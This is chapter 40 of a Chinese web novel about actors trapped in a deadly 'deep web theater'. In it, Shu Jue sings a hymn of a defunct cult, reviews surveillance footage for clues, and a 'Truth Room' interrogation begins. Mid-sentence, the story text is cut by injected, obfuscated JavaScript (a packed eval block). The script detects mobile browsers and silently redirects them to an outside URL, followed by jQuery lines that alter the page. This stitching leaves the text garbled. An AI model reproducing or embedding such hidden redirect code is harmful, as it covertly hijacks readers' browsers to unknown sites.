40. 第 40 章
作品:《明天你会忘记我吗?》 【剧目:狂宴】
【演员甲:舒觉】
【演员乙:曲语冰】
宽敞的教堂,尖顶上的玻璃雕花折射出五彩的阳光,稀薄而绚丽。一排排长椅静默,中心的布道台上,无人伫立,却摆放着一具石棺。
门开了。风呜咽着,如同不愿进入。一位身着修女服的人缓步走进,沉闷的袍服下,阳光浅浅洒在那张面容,是舒觉的脸。
她一步一步走近布道台,无声无息,仿佛滑行。直到第一排长凳中间,她跪在冰冷的地板,双手作出一个奇异的手势。如同合掌祈祷,末三指交缠,食指交叉,大拇指竖起。
像是两柄枪。又像是两个七叠加。
她看向前方,端着姿态,底下却掩藏不住恐惧与急躁。她仿佛跋涉过久的旅人,疲惫、狂乱,只能紧紧抓住最后一根细绳,祈祷能由此进入天堂。
布道台震动数声,她毫无反应。一块刻了数行铭文的石板升起,不知从何处的声音轻柔地命令:“唱吧。我的孩子。”
在看清那几行字的瞬间,舒觉瞳孔骤然收缩,她几乎克制不住要说什么,但还是一咬舌尖吞了回去。很明显,在看到的时刻,她就出戏了。
光线又打过来。她的脸色从未如此苍白,即使在开枪射杀应如观的时刻,也没有如此脆弱,仿佛一触即碎。
但这是深网剧场的舞台。她必须歌唱。即使她无从听见,也无乐谱遵循。
这本就是一首没有被记载过的祷歌。
她深吸一口气。起初声音微弱,其后渐渐扩张,如同已经放弃一切。每一个音、每一个音,准确无误地击中,如同齿轮间相互锲合。
“至伟之人,吾等父母,
我在此歌颂您的光与热,您的爱与力。
我向您献上我的一切,
智慧、品德、生命、思想。
请您垂怜,接受我的信仰。
至伟之人,吾等牧首,
请您指引,请您领航。
您聆听神谕,您传达箴言。
七日最终,万事皆寂。
唯有您的颂曲,千秋万代,永恒传扬。”
歌声消迩,石板缓缓降下,竟然是一次便通过了。舒觉起身,她再度前行,直到石棺之前。
舒觉沉默地凝视石棺表面。她的表情称不上虔诚,也称不上畏惧,更像是无法思考的空白。
遵循指示,她伸手,打开那具棺材。
被阻隔已久的阳光终于急不可耐地钻入。一身纯白,卧在满室未曾枯萎的洁白百合之中,甚至一丝馨香蔓延,如同正在风中苏醒。
曲语冰面容安宁,微微带笑,双目紧闭,双手交叠置于腹上,躺在棺材正中间。
*****
这一出戏结束后,舒觉避开所有人,缩在了自己房间里。
她脑中只有一个问题,反复思考:
为什么七日教会的祝祷曲,会出现在剧本中?
这首歌根本不可能存于世上。原本就没有被书面记录过,影像记录更是无从谈起,还能记得它怎么唱的相关人士,大部分不是死了就是还在监狱里。
只有那些被从小教导如何献上祈祷的孩子们,还有少数努力活在世上。但他们也不可能再唱这首歌。不仅是因为这是他们不想面对的过去。
当献上祈祷的对象已经消失,再怎么反复咏唱这支祷曲,又有什么意义?
舒觉第一反应就是深网剧场和七日教会有关。但很快她又推翻了这个猜测,原因无他,这个教会早在六年前就覆灭了,领头人已经死去,背后支持的势力也都受到了很大打击。关于这个宗教的教义、纲领,所有可查的资料都被销毁,如果说它们还可能存在于哪里,那就是她的脑子。
那这段剧情是什么意思?提醒她?暗示她不要忘记自己的出身?但她本就不可能忘记任何事。
而且在上轮演绎中,她完全没感觉到深网剧场和教会有什么关系。当然,她没有仔细调查过,但舒觉确信,自己的直觉还没有迟钝到这个地步,能察觉不到七日教会相关的要素。
如果这个剧场和教会有关,它就不可能是随机筛选演员的。而且把一帮人拉到剧场里演戏,能活着出去的没几个,出去的也没听说有谁信教了,教会能拿到什么好处?
作为一个极度反对科技进步的教会,舒觉不相信它——如果真的还存在的话——会和一个明显充满现代科技痕迹的剧场合作。它不派人把剧场炸了才奇怪。
舒觉甩甩脑袋,把这些猜想都甩出去。这些猜测都没有证据,她更倾向于,剧本里会出现这一段戏码,只是因为是她演了这个角色。
看来祝时明的猜想有道理。“编剧”的确在根据每个演员不同情况挑选适合他们的角色。穷奇也在最后点了他们一句,“不知道编剧会给你们选定什么样的剧本”,基本等同于把祝时明的怀疑坐实了。
要这样说,曲语冰又算什么定位?一个祭品?未免太离谱了吧。
舒觉撕了颗橘子糖,放进嘴里,酸甜的味道激荡开来。这是苏彦分享给她的。据他说只有他老家那边才有生产,网上也没有卖,他会让家里寄过来。
这剧场里倒是能兑换到。真是无所不包。尽管她感到大脑深处在抽搐,眼底蠕动,仿佛被寄生,但那种仿佛被剥夺呼吸的感觉缓和了不少,脖子上的金属颈环也感觉松开了些。
吃糖果然有利于人保持心情愉快。舒觉嚼着糖果,准备复盘一遍前几天的监控,找找那条新线索是被他们遗落在了哪里。
她很快锁定了应如观和洛珠两人。她轻点鼠标,画面暂停在应如观拿起木头佛像的瞬间。舒觉将其放大、再放大。
果然如此。
那个佛像的底部刻着一个浅浅的月牙,还有一个“应”字。
之后监控只拍到了应如观折回来将它取走,但没拍到他是怎么处理的。舒觉猜想他应该把它藏起来,或者干脆毁掉了。按照对方那种一丝不苟的性格来看,后者可能性更大。
前几天他们不是才在讨论谁可能是投资方演员吗?这不就马上来了个很可疑的对象。一般演员才不会想到能把线索毁掉。毕竟没有规则透露过,线索其实是可以被销毁的,就算是担心自己被怀疑,一般人也只会先藏起来,保险起见。
不过她也不是不能理解应如观为什么要隐藏这条线索。不管实际如何,如果这条线索被找到——指向实在太明显了——明面上他就会成为目前唯一一个被两条线索指向的演员,被怀疑的程度还会大幅度上升。
不过,洛珠为什么没有和他们说过这件事?她不也在场。难道她和应如观是一伙的?
不,这个猜测也太荒谬了。舒觉感觉自己被刚刚的演绎影响,脑子不太清醒了。洛珠明显和应如观不熟,他俩私下说话都不超过三次吧。
况且,投资方选人也不可能选洛珠这样的人。虽然很容易让人放松警惕,但她明显不具备必要时伤害他人的能力。而这项能力对投资方演员来说是相
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16843325|183890||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
当必要的。
毕竟,演戏里使绊子让别人遭受惩罚,就等于害别人丢掉一个器官,这种完全反道德和常识的事,不够狠做不了。而洛珠连捅曲语冰一刀都做不到,自己差点被惩罚了。
她应该只是不想面对现实。和祝时明一样,她不想怀疑任何人。
上一轮里这么做的人后来如何了?她漠然地想着,哦,她死了。
就在深网剧场里。
在这里,你最好要学会怀疑别人。否则,最后倒霉的肯定是你。
舒觉取出在图书馆里找到的那张纸条。打印字体写了关于投资方的一些提示,但没有一条可以被称作确定的规则。
她翻到背面。那里原本是空白的,现在,却逐渐显出一行字来。
舒觉瞪大眼睛。那行字没有管她情绪波涛汹涌,自顾自往下蔓延:
你可以信任这一次的投资方演员中的一位。
落款是“致J”。
舒觉短暂地迷惑了一下。这条信息究竟是给她的,还是给姜满?
原谅她这样想。她这辈子用过的名字,包括代号在内,简写都不是“J”。除非那个人只喊了她后面的名。
不管这条信息是给谁的,她看到了就是她的。舒觉淡定地收起纸条,将这条提示作为考虑选项放进心里。
比起信任,她更想利用这些不知是谁的投资方演员。
乔木洗着碗,曲语冰蹭到他旁边,用几乎不可能听见的声音问:“你的点数还差多少?”
如果换个人,这绝对是个雷区问题。但乔木只是又打开擦洗着盘子,用同样细不可闻的音量回答:“差一些。你应该接近了?”
曲语冰敲了几下灶台,表示肯定。他说:“希望那个空间能给我们想要的东西。”
乔木默默点头。他关掉水龙头,示意曲语冰不要继续这个话题。即使他们离其他人都很远,但万事皆有可能,谁能保证脚边的蟑螂不会窃听。
说到蟑螂,来这里这么久了,他还没见过一只。可能是因为这里偏北方吧。但这种生物应该是无孔不入的,特别是在这么多人共同生活的空间里,居然一只也没有,真是奇也怪哉。
他在深网剧场里似乎也没有看见过任何活物,除了演员们之外。不知道他们是怎么做到的。
曲语冰正从他身边走开,乔木准备摘下手套,忽然,整间室内响起毫无感情的电子音,如同冰冷的神谕从天而降。
“演员8号已开启【真言之屋】。”
“演员4号已被征召至屋中,问询开始。”
乔木不敢置信。曲语冰脸上同样一片震惊。他说:“你是几号?”
“6号。8号是……”
“我是7号。”曲语冰短促地回答。他还在此处,就说明这个空间不是他解锁的。
乔木遽然四望:洛珠停在楼梯上,呆呆地看着他们;祝时明和苏彦坐在客厅里;双胞胎刚刚从门口出去。
他不需要再猜测了。强制弹出的光屏解答了他的困惑。
姜满坐在桌子一边,她坐姿挺拔,目光灼灼,仿佛胜券在握。8号是谁显而易见。
而在她对面,舒觉坐在另一把椅子上。她面无异色,并无慌乱。但乔木从她僵硬的右手看出她的紧张。
他们都没想到,会有人比他们更早地开启了第一个特殊空间。
她们四周是一片黑暗虚空。一道声音响起。
“现在,开始说明【真言之屋】的规则。”

